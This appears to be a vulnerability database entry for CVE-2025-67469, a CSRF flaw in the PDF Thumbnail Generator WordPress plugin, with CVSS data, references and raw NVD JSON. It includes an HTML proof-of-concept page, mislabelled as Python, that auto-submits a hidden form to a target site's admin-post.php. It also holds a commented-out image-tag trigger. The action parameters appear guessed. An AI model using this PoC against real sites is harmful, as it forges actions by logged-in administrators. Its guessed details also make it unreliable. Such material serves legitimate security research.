CVE-2025-67469

Description

Cross-Site Request Forgery (CSRF) vulnerability in kubiq PDF Thumbnail Generator pdf-thumbnail-generator allows Cross Site Request Forgery.This issue affects PDF Thumbnail Generator: from n/a through <= 1.4.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PDF Thumbnail Generator (WordPress插件) <= 1.4

所有从初始版本到1.4的版本均受影响

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-67469 -->
<!-- This PoC demonstrates a CSRF attack against PDF Thumbnail Generator plugin -->
<!-- The attacker tricks a logged-in admin into submitting a malicious request -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-67469</title>
</head>
<body>
    <h1>CSRF PoC for PDF Thumbnail Generator</h1>
    <p>This page demonstrates a CSRF attack against the PDF Thumbnail Generator WordPress plugin.</p>
    
    <!-- Method 1: Auto-submit form -->
    <h2>Method 1: Auto-submit Form</h2>
    <form id="csrfForm" action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- Plugin action endpoint - adjust action parameter based on target function -->
        <input type="hidden" name="action" value="pdf_thumbnail_generator">
        <input type="hidden" name="sub_action" value="clear_cache">
        <input type="hidden" name="nonce" value="">
    </form>
    
    <script>
        // Auto-submit when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <!-- Method 2: Image onerror trigger -->
    <!-- <img src="http://target-site/wp-admin/admin-post.php?action=pdf_thumbnail_generator&sub_action=malicious_action" style="display:none" onerror="this.src='x'"> -->
    
    <p><strong>Note:</strong> This is for educational and security testing purposes only.</p>
    <p>Defense: Implement nonce verification and check referer header in plugin code.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67469
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67469
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67469/
[4] VulDB https://vuldb.com/cve/CVE-2025-67469
[5] https://patchstack.com/database/Wordpress/Plugin/pdf-thumbnail-generator/vulnerability/wordpress-pdf-thumbnail-generator-plugin-1-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67469", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:23.123", "lastModified": "2026-04-27T18:16:39.420", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in kubiq PDF Thumbnail Generator pdf-thumbnail-generator allows Cross Site Request Forgery.This issue affects PDF Thumbnail Generator: from n/a through <= 1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/pdf-thumbnail-generator/vulnerability/wordpress-pdf-thumbnail-generator-plugin-1-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}